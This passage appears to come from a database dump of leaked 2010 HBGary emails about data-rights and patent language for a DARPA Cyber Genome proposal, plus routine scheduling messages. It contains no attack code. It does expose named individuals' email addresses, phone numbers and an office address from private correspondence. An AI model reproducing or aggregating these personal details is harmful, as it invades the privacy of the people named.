US\r\nPatent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\nFuzzy Hash Algorithm\r\n\r\nOur reference #:&nbsp; 10030.000200\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Patent\r\napplication number: 12/459,203\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary,\r\nInc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp; June\r\n26, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent\r\ntitle:&nbsp; Fuzzy Hash Algorithm\r\n\r\nHBGary\'s ownership of the invention\r\nis indicated in Reel/Frame 023441/0496 in the Assignment Division of the US\r\nPatent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary asserts Restricted Rights (or\r\nBob, is it Limited Restricted Rights?) &nbsp;to the aforementioned inventions\r\nas described below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  COMMERCIAL\r\n  \r\n \r\n \r\n  \r\n  Technical\r\n  Data Computer Software To be Furnished With Restrictions\r\n  \r\n  \r\n  Basis for\r\n  Assertion\r\n  &nbsp;\r\n  \r\n  \r\n  Asserted\r\n  Rights Category\r\n  &nbsp;\r\n  \r\n  \r\n  Name of\r\n  Person Asserting Restrictions\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Digital\r\n  DNA Sequence&nbsp;&nbsp;&nbsp; \r\n  \r\n  \r\n  Developed\r\n  at Private Expense&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n  Restricted\r\n  or Unrestricted - Bob??\r\n  \r\n  \r\n  HBGary,\r\n  Inc. - Bob Slapnik, Vice President HBGary, Inc.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOkay, that\'s it for starters.&nbsp;\r\nWalt, Bob please advise ASAP today as the FMR is on Friday and we need to\r\ncomplete our proposals.&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10122,'aaron_hbgary_com/10122.html'),(3890,'2010-03-10','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002040.M216166P3547Q3890.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','RE: Q&A and term \"Restricted\"','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAgreed &#8211; we came to the same conclusion.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 5:13 PM\r\nTo: Anita D\'Amico; Starr, Christopher H.; Upchurch, Jason R.; Ted Vera;\r\nBob Slapnik; Irby Thompson; Phil Porras; Brianne O\'Brien\r\nSubject: Q&amp;A and term &quot;Restricted&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAfter reading the Q&amp;A I feel very certain that\r\nrestricted is referring to prepublication review, which is required except in\r\nthe following exception.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;\r\nAs a university subcontractor to a prime we are conducting fundamental\r\nresearch; are we subject to prepublication review per Section 6.4 of the\r\nBAA.&nbsp;\r\n\r\n\r\n\r\nAnswer:&nbsp;\r\nA prime contractor may segment work to an Institute of Higher Learning\r\n(IHL) for fundamental research whose results are then incorporated into the\r\nprime&#8217;s effort who then develops the prototype system.&nbsp; Providing the IHL\r\nis not exposed to performance characteristics of the proposed system, and\r\ncomplies with all other laws, executive orders, and regulations, the IHL effort\r\nmay retain the definition of contracted fundamental research and not require\r\nprepublication review\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n4.\r\n&nbsp; Some universities will not allow their faculty and research associates\r\nto submit a proposal to the program because of restrictions. Will DARPA provide\r\nwaivers of this clause prior to submission of proposals to allow universities\r\nto participate without any restrictions such as pre-publication\r\nrestrictions?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnswer:&nbsp;\r\nNo.&nbsp; See Questions 2-3 above.&nbsp; A waiver is not required if the IHL is\r\na subcontractor per question 2.&nbsp; A waiver will not be granted if the IHL\r\nis proposing as&nbsp; a prime contractor per question 3.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOther\r\nQ&amp;A of note.\r\n\r\n\r\n\r\n\r\n\r\n7.&nbsp;\r\nIs there an absolute requirement to deliver source code?&nbsp; &nbsp;\r\n\r\n\r\n\r\nAnswer:&nbsp;\r\nRefer to BAA, Section 1.3, page 10.&nbsp; Yes\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n41.\r\n&nbsp; Can a performer be listed as a subcontractor to multiple proposals or\r\ndoes the performer need to limit which ones to support? &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnswer:&nbsp;\r\nRefer to BAA, Section 3.3, page 13.&nbsp; The challenge will be if common work\r\nis being performed across multiple funded proposals, and if the same personnel\r\nare bid across multiple proposals, since performers can\'t bill the government\r\nmultiple times for the same work.&nbsp; Performers will need to divide common\r\nwork across primes and the Performer must clearly document in the proposal, how\r\nthe costs will be managed across the multiple contracts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n45.&nbsp;\r\nWhat is a reasonable start time for this effort?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnswer:&nbsp;\r\nDARPA intends to have performers on contract on or about July 1, 2010.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n48.\r\n&nbsp; Please elaborate on non-provisioning of IT equipment.&nbsp; What if it\r\nis part of the &quot;special sauce&quot; of the solution.\r\n\r\nAnswer:\r\n&nbsp; A standard requirement is for proposers to state why they cannot provide\r\nrequested IT resources.&nbsp; The Performer needs to justify why special\r\nequipment is needed to solve the approach to the problem.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6360,'aaron_hbgary_com/6360.html'),(3891,'2010-03-10','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002040.M582859P3547Q3891.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,','RE: Drafted Invention and Asserted Rights Language - DARPA Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nHi everyone,\r\n&nbsp;\r\nSee my comment below in Bob\'s email.&nbsp; But now that \r\nDARPA has extended the proposal due date there is time to work this.&nbsp;&nbsp; \r\nI don\'t claim to be technical nor IP savy but I\'m reading the concerns in \r\nrelation to DARPAs expectations.\r\n&nbsp;\r\nHave a good evening everyone and we can discuss this \r\nmore tomorrow.\r\n&nbsp;\r\nRegards,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] \r\n  Sent: Wednesday, March 10, 2010 4:04 PMTo: Vashak, Walt \r\n  E.Cc: Bob Slapnik; Larson, Cindy S.; Starr, Christopher \r\n  H.Subject: Re: Drafted Invention and Asserted Rights Language - \r\n  DARPA Cyber Genome Proposal\r\n  \r\n  Which part? There were a few different tacs.From my iPhone\r\n  On Mar 10, 2010, at 6:00 PM, \"Vashak, Walt E.\" &lt;walt.vashak@gd-ais.com&gt; \r\n  wrote:\r\n  \r\n  \r\n    \r\n    \r\n    Bob,\r\n    &nbsp;\r\n    The approach that you \r\n    describe will certainly protect you unpatented IP.&nbsp; However, I must \r\n    defer to Chris and the other GDAIS folks as to whether it will answer the \r\n    mail sufficiently to satisfy DARPA&gt;\r\n    &nbsp;\r\n    Walt\r\n    &nbsp;\r\n    \r\n    Walter \r\n    E. Vashak\r\n    Director, \r\n    Contract Policy and Compliance \r\n    &nbsp;&nbsp; \r\n    and Intellectual Property\r\n    General \r\n    Dynamics Advanced Information Systems\r\n    1200 \r\n    Joe Hall Drive\r\n    Ypsilanti, \r\n    MI 48197\r\n    Tel. \r\n    734.480.5412\r\n    Cell: \r\n    734.751.4834\r\n    &nbsp;\r\n    \r\n    \r\n    From: Bob Slapnik \r\n    [mailto:bob@hbgary.com] Sent: \r\n    Wednesday, March 10, 2010 5:05 PMTo: Larson, Cindy S.; Vashak, \r\n    Walt E.Cc: \'Aaron Barr\'Subject: RE: Drafted Invention \r\n    and Asserted Rights Language - DARPA Cyber Genome \r\n    Proposal\r\n    &nbsp;\r\n    Cindy \r\n    and Walt,\r\n    &nbsp;\r\n    The \r\n    only IP I am concerned about is Digital DNA Sequence and Fuzzy Hash \r\n    Algorithm.&nbsp; Actually, both of these technologies are contained within \r\n    our commercial product called Digital DNA.&nbsp; In a nutshell Digital DNA \r\n    and Fuzzy Hash are methods to analyze malware and describe its behaviors and \r\n    traits.&nbsp; Think of it as a way to organize and communicate \r\n    information.&nbsp; During the contract we will deliver lots of new \r\n    information with full intention of giving the gov&#8217;t unlimited rights to that \r\n    new data.&nbsp; But it is possible that the new data will be delivered in \r\n    the FORMAT used by our IP or in the CONTAINER of our IP.&nbsp; I want to \r\n    give the gov&#8217;t unlimited rights to the new data, but not the format or \r\n    container.\r\n    &nbsp;\r\n    Here \r\n    is what Aaron wants to do&#8230;&#8230;&#8230;Offer unlimited rights on everything based on \r\n    the assumption that we will research brand new ideas that may not use our IP \r\n    at all.&nbsp; If we determine after research that DDNA is the right \r\n    approach, we go back to the customer to renegotiate IP before delivering \r\n    anything with DDNA or Fuzzy Hash in it.[Larson Cindy-P56765]&nbsp;If HBGary Federal researches \r\n    brand new ideas not using it\'s IP (assume you mean Digital DNA and \r\n    Fuzzy Hash) and the data developed&nbsp;is delivered with unlimited rights, \r\n    then that answers the mail with regard to the Governments desire that all \r\n    software and tech. data developed under the contract be delivered with \r\n    unlimited rights.&nbsp; \r\n    BAA 7.2.1 \r\n    Commercial Items. clearly requires identification of all&nbsp;commercial \r\n    technical&nbsp;and commerical computer software that may be embedded in any \r\n    noncommercial deliverables contemplated under the research effort, along \r\n    with any applicable restrictions on the Govts. use of&nbsp;such commercial \r\n    tech. data and/or commercial computer software.\r\n    If your IP \r\n    method falls under this scenario and it\'s embedded in your \"new information\" \r\n    (provided the IP method is used to develop the \"new information\") &nbsp;it \r\n    really needs to be identified/discussed in&nbsp;your proposal.&nbsp; \r\n    Otherwise, DARPA will assume that there are no restrictions on the Govts. \r\n    use of such commercial item(s).&nbsp;\r\n    Regardless of \r\n    whether or not the IP method will be used, the fact that we\'re entertaining \r\n    and have been discussing it&nbsp;use,&nbsp;it&nbsp;sounds to me that \r\n    it&nbsp;may be used and I think, HBGary absolutely needs to address it, see \r\n    all DARPA requirements in my RFP Attachment 8 Item 7. (cut/paste from the \r\n    BAA).&nbsp;&nbsp;\r\n    Bob, you\'ll \r\n    want your IP lawyer to work with you&nbsp;to prepare your restrictions and \r\n    limitations discussion that will affect the Govt., etc.&nbsp; And your cost \r\n    proposal will need to address this too.&nbsp;&nbsp;Please ensure the \r\n    \"representation\" language that I prepared below is also used for your \r\n    inventions; its also a BAA requirement.\r\n    I&nbsp;think \r\n    your proposal should include both explanations for both scenarios, then \r\n    HBGary is covered and won\'t give up its rights to&nbsp;the \r\n    Govt.&nbsp;&nbsp; And, we\'re \r\n    providing as a team a possible \"unlimited rights\" scenario to give the Govt. \r\n    to consider.\r\n    &nbsp;\r\n    Seems \r\n    to me we need to call out the IP in the proposal and assert data rights, but \r\n    tell the gov&#8217;t it is likely we won&#8217;t need to deliver it, but if we do it has \r\n    different rights.\r\n    &nbsp;\r\n    This \r\n    IP is very valuable.&nbsp; It would look bad to future investors if we give \r\n    unlimited rights to it.\r\n    &nbsp;\r\n    How \r\n    do we have our cake and eat it too?\r\n    &nbsp;\r\n    \r\n    Bob \r\n    Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n    Office \r\n    301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n    www.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n    &nbsp;\r\n    \r\n    \r\n    From: Larson, Cindy \r\n    S. [mailto:Cindy.Larson@gd-ais.com] \r\n    Sent: Wednesday, March 10, 2010 3:33 PMTo: Vashak, \r\n    Walt E.; Bob SlapnikSubject: Drafted Invention and Asserted \r\n    Rights Language - DARPA Cyber Genome ProposalImportance: \r\n    High\r\n    &nbsp;\r\n    \r\n    HI \r\n    Walt,\r\n    \r\n    &nbsp;\r\n    \r\n    &nbsp; I \r\n    just got involved with this today and our team offered to assist HBGary \r\n    writing a paragraph (or so) to include in GDAIS Proposal to DARPA.&nbsp; Ron \r\n    Vela and team mentioned they have talked with you about this.&nbsp;&nbsp; \r\n    :o)&nbsp; Bob, I\'ve also copied you as my knowledge of this is very \r\n    limited.&nbsp; I understand from your email that you are concerned with the \r\n    government gaining unlimited rights&nbsp;to your inventions (assume this is \r\n    the commerical product you refer to in your other email.)\r\n    \r\n    &nbsp;\r\n    \r\n    I\'ve \r\n    attached DARPA\'s BAA expectation and HBGary, Inc. Patent Info. \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    So, \r\n    diving in, here\'s what I\'ve drafted thus far; hopefully I\'m not mixing \r\n    apples and oranges but Walt will set me straight:\r\n    \r\n    &nbsp;\r\n    \r\n    \"In \r\n    accordance with DARPA-BAA-10-36 dated January 28, 2010, HBGary Federal \r\n    represents that it owns the Digital DNA Sequence and Fuzzy Hash Algorithm \r\n    inventions for which a patent application(s) have been filed.&nbsp; The \r\n    inventions, developed at HBGary&nbsp;Inc. private expense,&nbsp;will be \r\n    utilitzed in the HBGary Federal proposal for the DARPA Cyber Genome \r\n    Program.&nbsp; The following Patent applications have not yet been made \r\n    publicly available and contains proprietary information.\r\n    \r\n    &nbsp;\r\n    \r\n    Digital DNA \r\nSequence\r\n    &nbsp;\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Patent application \r\n    number: 12/386,970\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Inventor name(s): \r\n    Michael Gregory Hoglund\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Assignee names: \r\n    HBGary, Inc.\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Filing date:&nbsp; \r\n    April 24, 2009\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Filing date of any \r\n    related provisional application: not applicable\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Summary of the \r\n    patent title:&nbsp; Digital DNA Sequence\r\n    &nbsp;\r\n    HBGary\'s ownership of the \r\n    invention is indicated in Reel/Frame 023009/0815 in the Assignment Division \r\n    of the US Patent and Trademark Office.\r\n    &nbsp;\r\n    Fuzzy Hash \r\n    Algorithm\r\n    Our reference #:&nbsp; \r\n    10030.000200\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    &nbsp;Patent \r\n    application number: 12/459,203\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Inventor name(s): \r\n    Michael Gregory Hoglund\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Assignee names: \r\n    HBGary, Inc.\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Filing date:&nbsp; \r\n    June 26, 2009\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Filing date of any \r\n    related provisional application: not applicable\r\n    &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    Summary of the \r\n    patent title:&nbsp; Fuzzy Hash Algorithm\r\n    HBGary\'s ownership of the \r\n    invention is indicated in Reel/Frame 023441/0496 in the Assignment Division \r\n    of the US Patent and Trademark Office.\r\n    &nbsp;\r\n    \r\n    HBGary \r\n    asserts Restricted Rights (or Bob, is it Limited Restricted Rights?) \r\n    &nbsp;to the aforementioned inventions as described below.\r\n    \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n        \r\n          COMMERCIAL\r\n      \r\n        \r\n          Technical Data Computer Software \r\n          To be Furnished With Restrictions\r\n        \r\n          Basis for Assertion\r\n          &nbsp;\r\n        \r\n          Asserted Rights \r\n          Category\r\n          &nbsp;\r\n        \r\n          Name of Person Asserting \r\n          Restrictions\r\n          &nbsp;\r\n      \r\n        \r\n          Digital DNA \r\n          Sequence&nbsp;&nbsp;&nbsp; \r\n        \r\n          Developed at Private \r\n          Expense&nbsp;&nbsp;&nbsp;\r\n        \r\n          Restricted or Unrestricted - \r\n          Bob??\r\n        \r\n          HBGary, Inc. - Bob Slapnik, \r\n          Vice President HBGary, Inc.\r\n    \r\n    &nbsp;\r\n    \r\n    Okay, \r\n    that\'s it for starters.&nbsp; Walt, Bob please advise ASAP today as the FMR \r\n    is on Friday and we need to complete our proposals.&nbsp; \r\n    Thanks.\r\n    \r\n    &nbsp;\r\n    \r\n    Cindy\r\n    \r\n    &nbsp;\r\n    No virus \r\n    found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.733 / Virus \r\n    Database: 271.1.1/2733 - Release Date: 03/10/10 \r\n    02:33:00\r\n',11476,'aaron_hbgary_com/11476.html'),(3892,'2010-03-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002040.M771092P3547Q3892.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I finished section 5.1.5 Plans and Capabilties to Accomplish 	Technology Transition','I added the word \"commercialization\" into the text in one spot\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 5:52 PM\r\nTo: Bob Slapnik\r\nSubject: Re: I finished section 5.1.5 Plans and Capabilties to Accomplish\r\nTechnology Transition\r\n\r\nNot sure.  Let me review.\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 3:46 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n>\r\n> I wrote it and posted it to google docs.\r\n>\r\n>\r\n>\r\n> I just realized I did not use the word \"commercialization\".\r\n> Should I?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n',9327,'aaron_hbgary_com/9327.html'),(3893,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002041.M402156P3547Q3893.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Pse join the call if you get a chance','How does this look?\r\n\r\nTed\r\n\r\n\r\n\r\nOn 3/10/10 1:00 PM, Aaron Barr wrote:\r\n> Two comments from GD.\r\n> \r\n> The manyear for this contract is 1860.\r\n> \r\n> Also they want us to shift our trait task work so we show more evenness between year 1 and 2.  \r\n> \r\n> Thats it.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n\r\n',16429,'aaron_hbgary_com/16429.html'),(3894,'2010-03-11','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297002041.M593938P3547Q3894.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark.trynor@gmail.com>','Free Google Broadband!','Fiber optic for the masses!\r\nhttp://www.google.com/tisp/install.html\r\n',2845,'aaron_hbgary_com/2845.html'),(3895,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002041.M781712P3547Q3895.eml','\"Ted Vera\" <tedvera@mac.com>','Re: Free Google Broadband!','That could work!\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 7:46 PM, Ted Vera  wrote:\r\n\r\n> Fiber optic for the masses!\r\n> http://www.google.com/tisp/install.html\r\n',2073,'aaron_hbgary_com/2073.html'),(3896,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002042.M278086P3547Q3897.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Pse join the call if you get a chance','Ok I\'ll send it to GD\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 8:13 PM, Aaron Barr  wrote:\r\n\r\n> Looks good\r\n>\r\n> From my iPhone\r\n>\r\n> On Mar 10, 2010, at 7:39 PM, Ted Vera  wrote:\r\n>\r\n>> How does this look?\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On 3/10/10 1:00 PM, Aaron Barr wrote:\r\n>>> Two comments from GD.\r\n>>>\r\n>>> The manyear for this contract is 1860.\r\n>>>\r\n>>> Also they want us to shift our trait task work so we show more\r\n>>> evenness between year 1 and 2.\r\n>>>\r\n>>> Thats it.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>\r\n>> > HBGary (3).Cost Volume.xlsx>\r\n',4143,'aaron_hbgary_com/4143.html'),(3897,'2010-03-11','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','/aaron@hbgary.com/new/1297002042.M492772P3547Q3898.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Shoveled Out?','\r\nAaron,\r\n\r\nGood paper! &nbsp;Wow.\r\n\r\nBob\r\n\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7028 &nbsp;c: 571.269.6942 &nbsp;f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nRobert L Frizzelle/USA/CSC@CSC\r\n\r\nDate:\r\n02/09/2010 01:00 PM\r\n\r\nSubject:\r\nShoveled Out?\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\nI hope all is well. &nbsp;I had a tree limb fall on my cars, but I managed\r\nto cut it away and no real damage, having shoveled all that snow my body\r\nis a different matter.\r\n\r\nI have been following some of the contract awards and you guys seem to\r\nbe doing great! &nbsp;Good capture of Andy Purdy as well for your cyber\r\ngroup. &nbsp;He is/was on the HBGary Board of Advisors. &nbsp;I would like\r\nto catch up sometime of you are available for lunch.\r\n\r\nAlso I wanted to share with you a pre-release copy of a new report format\r\nwe are going to start putting out on different malware operations. &nbsp;I\r\nhave put together a small consortium of small companies focused around\r\nthreat intelligence. &nbsp;I believe this is the key driver to fixing our\r\nnations beleaguered cybersecurity capabilities, we don\'t have a good and\r\ntimely understanding of the threat. &nbsp;Currently the consortium consists\r\nof Palantir, Endgames, HBGary, and Netwitness. The data these organizations\r\nprovide within a Palantir interface, you can start to mature your understanding\r\nof the threats, both current and evolving. &nbsp;The more pieces you can\r\nenumerate the more easily it will be to identify the threats evolution.\r\n&nbsp;Just wanted to share those thoughts. &nbsp;We don\'t seem to be pushing\r\nthe needle on improving our cybersecurity capabilities, I think threat\r\nintelligence is the answer, if you have the right picture, the security\r\npart becomes a lot more manageable.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n[attachment &quot;HBG Malware Report_FINAL.pdf&quot; deleted by Robert\r\nL Frizzelle/USA/CSC] \r\n\r\n',4622,'aaron_hbgary_com/4622.html'),(3898,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002042.M76893P3547Q3896.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Pse join the call if you get a chance','Looks good\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 7:39 PM, Ted Vera  wrote:\r\n\r\n> How does this look?\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On 3/10/10 1:00 PM, Aaron Barr wrote:\r\n>> Two comments from GD.\r\n>>\r\n>> The manyear for this contract is 1860.\r\n>>\r\n>> Also they want us to shift our trait task work so we show more\r\n>> evenness between year 1 and 2.\r\n>>\r\n>> Thats it.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>\r\n>  HBGary (3).Cost Volume.xlsx>\r\n',3042,'aaron_hbgary_com/3042.html'),(3899,'2010-03-11','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297002043.M293946P3547Q3900.eml','aaron@hbgary.com','Fw: NDU Conference - Emerging Al Qaeda Safe Havens, April 21st','\r\n\r\n\r\nNDU Conference - Emerging Al Qaeda Safe Havens, April 21st\r\n\r\n\r\nFyi...John M FarrellVP Federal, Endgame Systems703.622.9025 M\r\n\r\n\r\nFrom: CTNSP Transformation Events &lt;CTNSP_Transformation_Events@ndu.edu&gt;Sent: Mon Mar 08 14:52:02 2010Subject: NDU Conference - Emerging Al Qaeda Safe Havens, April 21st\r\n\r\n\r\n\r\nColleagues:\r\n\r\n\r\nThe National Defense University is delighted to announce registration has begun for the Transforming National Security Series event entitled, “Emerging Al Qaeda Safe Havens and Regional Nodes: Yemen, Somalia, the Maghreb...”\r\n\r\nThis conference will be held on Wednesday, April 21st in Marshall Hall, Room 155, National Defense University, Fort Lesley J. McNair, Washington, DC. \r\n\r\nThere is no charge to attend.\r\n\r\n\r\nTo register, please complete this brief web form. Registrants will begin receiving regular news of the event and additional logistical details as they become available, as well as after-action products at the conclusion of the event. Agenda will be posted on the program website here. (Complete hyperlinks at bottom.)\r\n\r\nThank you for your kind attention. We hope to see you soon.\r\n\r\n\r\nVery respectfully,\r\n\r\n\r\nProfessor James M. Keagle, Ph.D.\r\n\r\nDirector, Defense Transformation Seminar Series \r\n\r\nCenter for Technology and National Security Policy \r\n\r\nNational Defense University\r\n\r\n\r\n\r\nRegistration Page:\r\n\r\nhttp://www.ndu.edu/CTNSP/Event_Registration/register.cfm\r\n\r\n\r\nProgram Website:\r\n\r\nhttp://www.ndu.edu/CTNSP/NCW_course.htm\r\n\r\n\r\n\r\n\r\n\r\n',11102,'aaron_hbgary_com/11102.html'),(3900,'2010-03-11','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','/aaron@hbgary.com/new/1297002043.M617470P3547Q3901.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NRL & 